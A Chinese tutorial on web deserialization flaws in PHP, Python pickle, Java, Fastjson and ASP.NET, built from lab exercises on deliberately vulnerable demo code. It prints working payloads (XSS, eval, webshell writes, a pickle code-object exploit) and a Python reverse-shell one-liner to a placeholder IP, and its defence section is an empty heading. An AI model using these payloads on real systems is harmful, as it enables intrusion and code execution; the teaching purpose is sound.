WEB反序列化漏洞分析与防御

一、漏洞概述

1、序列化

序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】

简单的理解:

将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中
WEB反序列化漏洞分析与防御插图
<meta charset='UTF-8' />
<?php 
show_source(__FILE__);       //高亮显示文件内容,__FILE__为php中的文件常量
class ab{              //class 类名
  var $test ='123';        //$test=123 变量的赋值,var为数据类型
}
$class = new a;          //初始化对象
$class1_ser = serialize($class1);
print_r("<br />".$class1_ser);
?>

不止对象,数组、变量均可以序列化。

2、反序列化

序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用,重新再转化为对象或者其他的。【将字符串转化为状态信息】
WEB反序列化漏洞分析与防御插图2

3、漏洞成因

在身份验证,文件读写,数据传输等功能处,在未对反序列化接口做访问控制,未对序列化数据做加密和签名,加密密钥使用硬编码(如Shiro 1.2.4),使用不安全的反序列化框架库(如Fastjson 1.2.24)或函数的情况下,由于序列化数据可被用户控制,攻击者可以精心构造恶意的序列化数据(执行特定代码或命令的数据)传递给应用程序,在应用程序反序列化对象时执行攻击者构造的恶意代码,达到攻击者的目的。

4、漏洞可能出现的位置

  • 解析认证token、session的位置
  • 将序列化的对象存储到磁盘文件或存入数据库后反序列化时的位置,如读取json文件,xml文件等
  • 将对象序列化后在网络中传输,如传输json数据,xml数据等
  • 参数传递给程序
  • 使用RMI协议,被广泛使用的RMI协议完全基于序列化
  • 使用了不安全的框架或基础类库,如JMX 、Fastjson和Jackson等
  • 定义协议用来接收与发送原始的java对象

5、漏洞原理

  • 在Python和PHP中,一般通过构造一个包含魔术方法(在发生特定事件或场景时被自动调用的函数,通常是构造函数或析构函数)的类,然后在魔术方法中调用命令执行或代码执行函数,接着实例化这个类的一个对象并将该对象序列化后传递给程序,当程序反序列化该对象时触发魔术方法从而执行命令或代码。
  • 在Java中没有魔术方法,但是有反射(reflection)机制:在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法,这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。一般利用反射机制来构造一个执行命令的对象或直接调用一个具有命令执行或代码执行功能的方法实现任意代码执行。

6、反序列化特点

  • php在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾,这会造成随便在序列化数据后添加一些无用字符,反序列化的时候也会被忽略,因为遇到了 ;} 会忽略后面的字符;
  • unserialize根据长度判断内容,长度不对应的时候会报错;
  • 可以反序列化类中不存在的元素。

7、函数解析

1)序列化:serialize()函数

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。通俗来说,就是把一个对象变成可以传输的字符串。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
class S{
    public $test="pikachu";
 }
$s=new S(); //创建一个对象
 serialize($s); //把这个对象进行序列化

序列化后得到的结果是这个样子的:

O:1:"S":1:{s:4:"test";s:7:"pikachu";}
  • O:代表object
  • 1:代表对象名字长度为一个字符 (即“S”)
  • S:对象的名称
  • 1:代表对象里面有一个变量
  • s:数据类型 (string 字符串)
  • 4:变量名称的长度
  • test:变量名称
  • s:数据类型 (pikachu 同样为字符串string)
  • 7:变量值的长度
  • pikachu:变量值

对于对象,序列化后的格式为:

O:strlen(类名长度):类名:类的变量个数:{类型:长度:值;类型:长度:值…}

其他类型的数据序列化后的格式为:

  • String类型:s:size:value
  • Integer类型:i:value
  • Boolean类型:b:value (保存1或0)
  • Null型:N
  • Array:a:size:{keydefinition;value definition}
还有需要注意的点是:分割不同字段}结尾,这对反序列化很重要

2)反序列化 :unserialize()函数

就是把被序列化的字符串还原为对象,转换为php的值,然后在接下来的代码中继续使用。
 $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题.

8、魔术方法

1)魔术方法

魔术方法:自动触发的函数。【满足条件自动触发】

2)开发不清楚底层的魔术方法和函数

很多开发不写底层,下载一个框架就拿来用,或者CMS改一改, 他们在开发的时候很多时候并不清楚底层的魔术方法和函数有哪些,为了开发方便都会写一起。

3)常见的几个魔法函数(不同场景下被自动调用)

  • __construct():当对象创建(new)时会自动调用。但在反序列化时是不会自动调用的。(构造函数)
  • __destruct():当对象被销毁时会自动调用。(析构函数)
  • __toString():当一个对象被当作一个字符串使用
  • __sleep():在对象在被序列化之前运行
  • __wakeup():在反序列化时立即被调用

4)漏洞举例

class S{
    var $test = "pikachu";
    function __destruct(){
        echo $this->test;    //一旦S这个类被创建,则将会自动使用魔法函数。当对象被销毁时,则下面的操作会被自动执行
    }
}
$s = $_GET['test'];
@$unser = unserialize($a);

payload【有效攻击负载,是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码】

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

二、漏洞实验

反序列化的内容是从用户前端传过来的,若从前端传来的内容中插入了恶意的反序列化的内容,后台检测到会对内容进行反序列化,则通过反序列化的接口造成XSS漏洞【XSS漏洞经常出现在需要用户输入的地方,这些地方一旦对输入不进行处理,黑客就可以进行HTML注入,进而篡改网页,插入恶意脚本,从而控制用户浏览的一种攻击。】
WEB反序列化漏洞分析与防御插图4

1、pikachu靶场练习

WEB反序列化漏洞分析与防御插图6
反序列化漏洞一般需要代码审计来进行测试,扫描或者黑盒测试【在测试时,把程序看作一个不能打开的黑盒子,在完全不考虑程序内部结构和内部特性的情况下,测试者在程序接口进行测试,它只检查程序功能是否按照需求规格说明书的规定正常使用,程序是否能适当地接收输入数据而产生正确的输出信息,并且保持外部信息(如数据库或文件)的完整性,】很难发现这个漏洞。

源码:

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "unser.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR.'header.php';

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}

//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }
}
?>
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

变量$s从url中test参数获取到内容,并且在反序列化的时候通过__destruct()直接将传入的数据(恶意的javascript)不经过任何处理,echo出来,这里就构造了xss漏洞。当脚本结束运行时,所有的对象都会销毁,就会自动调用__destruct方法。我们输入正确的反序列化的payload内容,则会弹出xss窗口。

WEB反序列化漏洞分析与防御插图8

2、靶场练习

<?php
Class readme{
    public function __toString()    //__toString():echo打印对象体时会直接调用
{
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);     //$this->source:定义了变量source,但是没有赋值
    }
}
if(isset($_GET['source'])){
    $s = new readme();         
    $s->source = __FILE__;      //给变量source赋值__FILE__
    echo $s;                   //$s->source = flag.php才会得到flag
    exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
    $c = $_COOKIE['todos'];     //$c=$h.$m
    $h = substr($c, 0, 32);     //字符串32位之前,$h = e2d4f7dcc43ee1db7f69e76303d0105c
    $m = substr($c, 32);       //字符串的32位到所有,$m = a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
    if(md5($m) === $h){        
        $todos = unserialize($m);       //因为下面$todos为数组输出,因此,反序列化后的$m也应该为数组
    }
}

cookie传参:e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}

if(isset($_POST['text'])){
    $todo = $_POST['text'];
    $todos[] = $todo;
    $m = serialize($todos);
    $h = md5($m);
    setcookie('todos', $h.$m);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
?> 
<html>
<head>
</head>

<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?>        //$todos为数组,foreach遍历数组
    <li><?=$todo?></li>                        // <?php echo$todo; ?>
<?php endforeach;?>
</ul>

<form method="post" href=".">
    <textarea name="text"></textarea>
    <input type="submit" value="store">
</form>
WEB反序列化漏洞分析与防御插图10
  • 1. cookie传参为todos=
  • e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:”readme”:1:{s:6:”source”;s:8:”flag.php”;}},但因为是cookie传参,所以需要进行url编码,【Cookie 和 GET 一样,传参需要URL编码(burp 不会自动编码)】最终为
e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a%7bi%3a0%3bo%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d。
  • 2. 抓取的数据包是进入靶场后直接刷新页面的数据包。
WEB反序列化漏洞分析与防御插图12

放包后即可得到flag。

WEB反序列化漏洞分析与防御插图14

3、Python反序列化漏洞实验

Python中有两个模块可以实现对象的序列化,pickle和cPickle,区别在于cPickle是用C语言实现的,pickle是用纯python语言实现的,用法类似,cPickle的读写效率高一些。使用时一般先尝试导入cPickle,如果失败,再导入pickle模块。

1)pickle的应用场景

pickle的应用场景一般有以下几种:

  • 在解析认证token,session的时候;(尤其web中使用的redis、mongodb、memcached等来存储session等状态信息)
  • 将对象Pickle后存储成磁盘文件;
  • 将对象Pickle后在网络中传输。

2)pickle的两个重要函数

pickle具有两个重要的函数:

  • 一个是dump(), 作用是接受一个文件句柄和一个数据对象作为参数,把数据对象以特定的格式保存到给定的文件中;
  • 另一个函数是load(),作用是从文件中取出已保存的对象,pickle 知道如何恢复这些对象到他们本来的格式。

3)pickle使用方式

使用方式如下:

pickle.dump(obj, file, protocol=None, *, fix_imports=True)  //输出为文件对象
pickle.dumps(obj, protocol=None, *, fix_imports=True)  //输出为 bytes 对象
pickle.load(file)  // load参数是文件句柄
pickle.loads(file)  // loads参数是字符串

4)漏洞复现

a)本地命令执行

写一个最简单的demo环境,用户输入文件后使用pickle.load方法进行反序列化:

WEB反序列化漏洞分析与防御插图16

生成payload,定义执行calc命令的类,使用dumps方法进行序列化并输出到poc.pickle中:

WEB反序列化漏洞分析与防御插图18

执行此payload:

WEB反序列化漏洞分析与防御插图20

模拟实现一个更为真实的web环境,取路径中的参数后使用cPickle.loads方法反序列化:

WEB反序列化漏洞分析与防御插图22

将刚才生成的payload进行url编码,请求:

http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27calc%27%0Ap2%0AtRp3%0A.
WEB反序列化漏洞分析与防御插图24
b)任意代码执行(任意函数构造)

将上述的calc改为下面的字符串可实现反弹shell:

python-c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

这种通过-c参数只能执行相对简单的代码,如果出现了一些自定义函数,要序列化的对象就成了code类型。

但是pickle不能序列化code对象,这里简单测试一下:将要执行的代码都写到一个函数里foo(),尝试反序列化代码对象:

WEB反序列化漏洞分析与防御插图26
WEB反序列化漏洞分析与防御插图28

问题解决:从python2.6起,包含了一个可以序列化code对象的模块Marshal。由于python可以在函数当中再导入模块和定义函数,故可以将自己要执行的代码都写到一个函数foo()里:

WEB反序列化漏洞分析与防御插图30

得到payload:

http://127.0.0.1:8000/?payload=ctypes%0AFunctionType%0A%28cmarshal%0Aloads%0A%28cbase64%0Ab64decode%0A%28S%27YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMwAAAARDovb3RoZXIvUHl0aG9uX3NlYy9QaWNrbGVSQ0UvcGlja2xlX3BvY19nZW4wLnB5UgEAAAALAAAAcwYAAAAAAQwBBAFzCQAAAGZpYigxMCkgPWkKAAAAdAQAAABjYWxjKAIAAAB0AgAAAG9zdAYAAABzeXN0ZW0oAQAAAFIDAAAAKAAAAAAoAQAAAFIBAAAAczAAAABEOi9vdGhlci9QeXRob25fc2VjL1BpY2tsZVJDRS9waWNrbGVfcG9jX2dlbjAucHl0AwAAAGZvbwkAAABzCAAAAAABDAEPBA8B%27%0AtRtRc__builtin__%0Aglobals%0A%28tRS%27%27%0AtR%28tR.

更多payload:https://github.com/sensepost/anapickle

4、PHP反序列化漏洞实验

PHP中通常使用serialize函数进行序列化,使用unserialize函数进行反序列化。

1)serialize函数输出格式

  • NULL被序列化为:N
  • Boolean型数据序列化为:b:1,b:0,分别代表True和False
  • Integer型数据序列化为:i:数值
  • String型数据序列化为:s:长度:”值”
  • 对象序列化为:O:类名长度:类名:字段数:字段

输出的数字基本都是代表长度,在构造Payload时需要注意修改长度。

2)PHP中常用魔术方法

  • __construct:当对象被创建时调用
  • __destruct:当对象被销毁前调用
  • __sleep:执行serialize函数前调用
  • __wakeup:执行unserialize函数前调用
  • __call:在对象中调用不可访问的方法时调用
  • __callStatic:用静态方法调用不可访问方法时调用
  • __get:获得类成因变量时调用
  • __set:设置类成员变量时调用
a)demo1.php
<?php
    $a="test"; //字符串
    $arr = array('j' => 'jack' ,'r' => 'rose'); //数组
    class A{
        public $test="yeah";
    }
    echo "序列化:";
    echo "</br>";
    $aa=serialize($a);
    print_r($aa);
    echo "</br>";
    $arr_a=serialize($arr);
    print_r($arr_a);
    echo "</br>";
    $class1 = new A(); //对象
    $class_a=serialize($class1);
    print_r($class_a);
    echo "<br/>";
    echo "反序列化:";
    echo "<br/>";
    print_r(unserialize($aa));
    echo "</br>";
    print_r(unserialize($arr_a));
    echo "</br>";
    print_r(unserialize($class_a));
?>
WEB反序列化漏洞分析与防御插图32

如果说反序列化可能带来安全问题,那么一定是序列化构造了危险代码,当进行反序列化相当于解码操作的时候自动执行了。

我们本地测试下,当尝试序列化一段xss代码的时候,当它进行反序列化的时候会自动执行xss:

WEB反序列化漏洞分析与防御插图34

代码:

<?php
    $a="test"; //字符串
    $arr = array('j' => 'jack' ,'r' => 'rose'); //数组
    class A{
        public $test="<img src=1 onerror=alert(1)>";
    }
    echo "序列化:";
    echo "</br>";
    $aa=serialize($a);
    print_r($aa);
    echo "</br>";
    $arr_a=serialize($arr);
    print_r($arr_a);
    echo "</br>";
    $class1 = new A(); //对象
    $class_a=serialize($class1);
    print_r($class_a);
    echo "<br/>";
    echo "反序列化:";
    echo "<br/>";
    print_r(unserialize($aa));
    echo "</br>";
    print_r(unserialize($arr_a));
    echo "</br>";
    print_r(unserialize($class_a));
?>

我们可以尝试本地修改需要被序列化的字符串/数组/对象。

通过上面的小demo我们简单的了解了反序列化导致的一些安全问题。

b)深入理解

下面是对它的深入理解:

首先解释下demo1序列化后的含义:

$a="test"; 序列化后的结果是:s:4:"test";

含义:

s =string类型 4代表字符串长度,"test"代表字符串内容
$arr = array('j' => 'jack' ,'r' => 'rose');序列化后的结果是:a:2:{s:1:"j";s:4:"jack";s:1:"r";s:4:"rose";}

含义:

a代表array数组类型,2代表数组长度2个,s代表string,4代表字符串长度,jack是字符串内容,依此类推。
class A{public $test="yeah"}创建对象后,序列化后的结果是:O:1:"A":1:{s:4:"test";s:4:"yeah";}

含义:

O表示存储的对象(object类型),1代表对象名称有1个字符,就是A,A是对象名称,1表示有一个值,s代表string类型,4代表字符串长度,test代表字符串名称,依此类推。

3)反序列化漏洞案例

下面来点案例说明反序列化漏洞吧:

魔术方法,php有一些魔术方法,参考:https://secure.php.net/manual/zh/language.oop5.magic.php

简单讲解下对反序列化有用的魔法函数,详细了解查看手册:

  • __construct:构造函数,创建对象时自动调用
  • __wakeup:使用unserialse()函数时会自动调用
  • __destruct:当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
a)demo2.php

写一段存在安全问题的demo:

那么用__wakeup演示下,__destruct也可以,因为__destruct 会被自动调用

<?php
class A{
    var $test = "demo";
    function __wakeup(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

发现反序列化可控序列化代码,并且一旦反序列化会走魔法方法__wakeup并且输出test

构造序列化poc:

$b = new A();
$c = serialize($b);
echo $c;

输出:

O:1:"A":1:{s:4:"test";s:4:"demo";}
demo是$test变量,尝试修改$test的值是<img src=1 onerror=alert(1)>

注意前面的长度:

构造poc:

http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}
WEB反序列化漏洞分析与防御插图36

直接导致xss攻击。如果__wakeup中不是echo $this->test; ,是eval(*)那么就是任意代码执行危害巨大!

我们来尝试修改echo改成eval这种php执行代码函数:

<?php
class A{
    var $test = "demo";
    function __wakeup(){
           eval($this->test);
    }
}
$b = new A();
$c = serialize($b);
echo $c;
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

构造poc:

http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";
WEB反序列化漏洞分析与防御插图38

使用pyhhon判断长度很方便

WEB反序列化漏洞分析与防御插图40

如果把10改成11就不能正常执行:

WEB反序列化漏洞分析与防御插图42

序列化要一一匹配。

b)demo3.php

关于文件操作结合反序列化导致的安全问题:

网站根目录存在shell.php

<?php
//为显示效果,把这个shell.php包含进来
require "shell.php";
class A{
    var $test = '123';
    function __wakeup(){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
$a= new A();
print_r(serialize($a));
$class1 = $_GET['test'];
print_r($class1);
echo "</br>";
$class1_unser = unserialize($class1);
?>

构造poc:

http://172.16.6.231/fanxulie/demo3.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
WEB反序列化漏洞分析与防御插图44
c)demo4.php

测试发现当使用unserialize()的时候会自动调用魔术方法__wakeup或__destruct,所以往往安全问题都在__wakeup和__destruct魔术方法中。那么__construct()构造方法就没利用价值吗?非也,非也。如果__wekeup创建了对象,那么就会自动调用__construct(),演示例子:

<?php
require "shell.php";
class B{
    function __construct($test){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$test);
        fclose($fp);
    }
}
class A{
    var $test = '123';
    function __wakeup(){
        $obj = new B($this->test);
    }
}
$class1 = $_GET['test'];
echo "</br>";
$class1_unser = unserialize($class1);
?>

构造poc:

http://172.16.6.231/fanxulie/demo4.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
WEB反序列化漏洞分析与防御插图46

首先unserialize()会自动调用__wakeup(),__wakeup中创建了对象,从而自动调用了__construct(),会执行__construct()内的操作。

d)demo5.php

利用普通成员方法的反序列化漏洞研究:

上面讲的都是基于魔术方法下的敏感操作导致的反序列化导致的安全问题。但是当漏洞/危险代码存在在类的普通方法中,该如何利用呢?

<?php
    class maniac{
        public $test;
        function __construct(){
            $this->test =new x1();
        }

        function __destruct(){
            $this->test->action();
        }
    }
class x1{
    function action(){
        echo "x1";
    }
}

class x2{
    public $test2;
    function action(){
        eval($this->test2);
    }
}

$class2  = new maniac();
unserialize($_GET['test']);
?>

我们发现类的普通方法调用eval函数,这个函数很危险,如果可控就可能造成代码执行。

e)serialize_demo5.php

通过代码发现$_GET[‘test’]可控,,因为使用unserialize()会自动调用__destruct(),所以他会先调用action()函数,然后会走到x1类和x2类,而安全问题在x2类中,构造如下序列化代码:

<?php
    class maniac{
        public $test;
        function __construct(){
            $this->test = new x2();
        }
    }

    class x2{
        public $test2="phpinfo();";
    }

    $class1 = new maniac();
    print_r(serialize($class1))
?>
WEB反序列化漏洞分析与防御插图48

序列化值:

O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}

构造poc:

http://172.16.6.231/fanxulie/demo5.php?test=O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}
WEB反序列化漏洞分析与防御插图50

5、Java反序列化漏洞实验

Java中通常使用Java.io.ObjectOutputStream类中的writeObject方法进行序列化,java.io.ObjectInputStream类中的readObject方法进行反序列化。使用下面代码将字符串进行序列化和反序列化:
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;

public class Main{
    public static void main(String args[]) throws Exception {
        String obj = "hello";
        // 将序列化后的数据写入文件a.ser中,当序列化一个对象到文件时, 按照 Java 的标准约定是给文件一个 .ser 扩展名
        FileOutputStream fos = new FileOutputStream("a.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        os.close();

        // 从文件a.ser中读取数据
        FileInputStream fis = new FileInputStream("a.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);

        // 通过反序列化恢复字符串
        String obj2 = (String)ois.readObject();
        System.out.println(obj2);
        ois.close();
    }
}

程序执行后生成a.ser文件,如图:

WEB反序列化漏洞分析与防御插图52

以十六进制查看a.ser文件内容,如图:

WEB反序列化漏洞分析与防御插图54

Java序列化数据格式始终以双字节的十六进制0xAC ED作为开头,Base64编码之后为rO0。之后的两个字节是版本号,通常为0x00 05。

1)Java对象序列化必须满足的两个条件

一个Java类的对象要想序列化成功,必须满足两个条件:

  • 该类必须实现java.io.Serializable接口。
  • 该类的所有属性必须是可序列化的,如果有一个属性不是可序列化的,则该属性必须注明是短暂的。

2)将对象序列化后存储到a.ser文件

使用下面代码将对象序列化后存储到a.ser文件:

import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.Serializable;
import java.io.IOException;

// 定义一个实现 java.io.Serializable 接口的类Test
class Test implements Serializable {
    public String cmd="calc";
    // 重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        // 执行默认的readObject()方法
        in.defaultReadObject();
        // 执行打开计算器程序的命令
        Runtime.getRuntime().exec(cmd);
    }
}

public class Main{
    public static void main(String args[]) throws Exception{
        // 实例化对象test
        Test test = new Test();

        // 将对象test序列化后写入a.ser文件
        FileOutputStream fos = new FileOutputStream("a.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(test);
        os.close();
    }
}

执行程序后生成a.ser文件,以十六进制格式查看文件内容,如图:

WEB反序列化漏洞分析与防御插图56

最后5个字节分别为字符串长度和calc的ASCII值。因此,修改文件为下图所示,即notepad的ASCII值和长度:

WEB反序列化漏洞分析与防御插图58

3)进行反序列化对象

使用下面代码进行反序列化对象:

import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.Serializable;
import java.io.IOException;

// 定义一个实现 java.io.Serializable 接口的类Test
class Test implements Serializable {
    public String cmd="calc";
    // 重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        // 执行默认的readObject()方法
        in.defaultReadObject();
        // 执行打开计算器程序的命令
        Runtime.getRuntime().exec(cmd);
    }
}

public class Main{
    public static void main(String args[]) throws Exception{
        // 从a.ser文件中反序列化test对象
        FileInputStream fis = new FileInputStream("a.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Test objectFromDisk = (Test)ois.readObject();
        System.out.println(objectFromDisk.cmd);
        ois.close();
    }
}

程序执行后成功运行notepad,如图:

WEB反序列化漏洞分析与防御插图60

6、FastJson反序列化漏洞简单实验

FastJson作为史上最快的Json解析库应用也十分广泛,在1.2.69版本以下,其AutoType特性在反序列化过程中会导致反序列化漏洞,这个特性就是:在对JSON字符串进行反序列化的时候,会读取@type参数指定的类,然后把JSON内容反序列化为此类的对象,并且会调用这个类的设置(setter)方法。

1)实验环境

前端采用json提交用户名密码
后台使用fastjson 1.2.24版本
源码和WAR包GitHub地址:https://github.com/NHPT/Java_Deserialization_Vulnerability_Experiment

2)代码实现

创建一个User类,用于查看序列化数据格式,如图:

WEB反序列化漏洞分析与防御插图62

创建一个home类用于输出user对象的序列化数据,如图:

WEB反序列化漏洞分析与防御插图64

创建一个login类用于获取前端页面提交的json格式用户名和密码数据,并使用JSON.parseObject方法进行反序列化解析json数据,在后台可看到提交的数据,如图:

WEB反序列化漏洞分析与防御插图66

访问home页面可直接获取user对象序列化后的结果,如图:

WEB反序列化漏洞分析与防御插图68

@type的值为对象所属的类,user和passwd分别为对象的用户名属性和密码属性。因此可以利用AutoType特性,构造一个使用@type参数指定一个攻击类库,包含类属性或方法的JSON字符串提交到服务器,在反序列化时调用这个类的方法达到执行代码的目的。通常使用java.net.Inet4Address类或java.net.Inet6Address类,通过val参数传递域名,利用DnsLog进行漏洞检测,即:{“@type”:”java.net.Inet4Address”,”val”:”DnsLog”}。在登录页面输入用户名和密码提交,拦截数据包,修改提交的Json数据,如图:

WEB反序列化漏洞分析与防御插图70

虽然服务器返回错误信息,但Payload仍然被成功执行,在DnsLog网站可以看到解析记录,如图:虽然服务器返回错误信息,但Payload仍然被成功执行,在DnsLog网站可以看到解析记录,如图:

WEB反序列化漏洞分析与防御插图72

2)常用的POP链

要执行命令需要构造新的POP链,常用的POP链:

  • 基于JNDI注入
  • 基于ClassLoader
  • 基于TemplatesImpl

7、ASP.NET反序列化实验

.NET框架包含多个序列化类,BinaryFormatter,JavaScriptSerializer,XmlSerializer,DataContractSerializer,本实验以XML序列化和反序列化为例。

1)实验环境

采用Xml提交数据
使用.NET Framework 4.6.1
完整源码GitHub地址:https://github.com/NHPT/Java_Deserialization_Vulnerability_Experiment

2)代码实现

使用下面代码定义一个Test类,包含执行ipconfig命令并返回执行结果的函数Run,使用XmlSerializer类将对象序列化后输出到页面:

using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Xml.Serialization;

namespace ASP.NETStudy
{
    [Serializable]
    public class Test
    {
        public string _cmd = "ipconfig";
        public Test(string cmd)
{
            _cmd = cmd;
        }
        public Test()
{
        }
        public String Run()
{
            Process p = new Process();
            // 设置要启动的应用程序
            p.StartInfo.FileName = "cmd.exe";
            // 不使用操作系统shell启动
            p.StartInfo.UseShellExecute = false;
            // 接受来自调用程序的输入信息
            p.StartInfo.RedirectStandardInput = true;
            // 输出信息
            p.StartInfo.RedirectStandardOutput = true;
            // 输出错误
            p.StartInfo.RedirectStandardError = true;
            // 不显示程序窗口
            p.StartInfo.CreateNoWindow = true;
            // 启动程序
            p.Start();
            // 向cmd窗口发送命令
            p.StandardInput.WriteLine(_cmd + "&exit");
            // 自动刷新
            p.StandardInput.AutoFlush = true;
            // 获取输出信息
            string strOuput = p.StandardOutput.ReadToEnd();
            //等待程序执行完退出进程
            p.WaitForExit();
            p.Close();
            // 返回执行结果
            return strOuput;
        }
    }
    public partial class _default : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
{
            // 实例化对象 sc_Test
            Test sc_Test = new Test();
            // 创建字符串缓冲区buffer
            StringBuilder buffer = new StringBuilder();
            // 实例化序列号对象
            XmlSerializer serializer = new XmlSerializer(typeof(Test));
            // 序列化对象sc_Test并存储到buffer
            using (TextWriter writer = new StringWriter(buffer))
            {
                serializer.Serialize(writer, sc_Test);
            }
            String str = buffer.ToString();
            // 将xml数据HTML实体化,防止Windows安全检查拦截
            string r = string.Empty;
            for (int i = 0; i < str.Length; i++)
            {
                r += "&#" + Char.ConvertToUtf32(str, i) + ";";
            }
            // 输出到页面
            Response.Write("<center><h2>序列化数据</h2><textarea rows="10" cols="100" readonly align="center">" + r+ "</textarea></center>");
        }
    }
}

使用下面代码将提交的XML数据反序列化,并执行对象的Run函数:

using System;
using System.IO;
using System.Xml.Serialization;

namespace ASP.NETStudy
{
    public partial class info : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
{
            if (Request.RequestType == "POST")
            {
                // 获取客户端提交的数据
                StreamReader s = new StreamReader(Request.InputStream);
                // 转换为String格式
                String ss = s.ReadToEnd();
                //Response.Write(ss);
                // 定义反序列化对象
                Test dsc_Test;
                XmlSerializer serializer = new XmlSerializer(typeof(Test));
                // 反序列化数据为dsc_Test对象
                using (TextReader reader = new StringReader(ss))
                {
                    Object obj = serializer.Deserialize(reader);
                    dsc_Test = (Test)obj;
                }
                // 调用对象的函数Run并返回执行结果到浏览器
                Response.Write(dsc_Test.Run());
            }
        }
    }
}

正常情况下访问页面,返回序列化后的数据,如图:

WEB反序列化漏洞分析与防御插图74

点击查看IP按钮后,客户端提交数据,如图:

WEB反序列化漏洞分析与防御插图76

服务器执行命令后返回到客户端,如图:

WEB反序列化漏洞分析与防御插图78

如果攻击者将传输的XML数据进行篡改,如图:

WEB反序列化漏洞分析与防御插图80

服务器在反序列化后执行whoami命令,如图:

WEB反序列化漏洞分析与防御插图82

三、靶场地址&工具推荐

四、漏洞防御

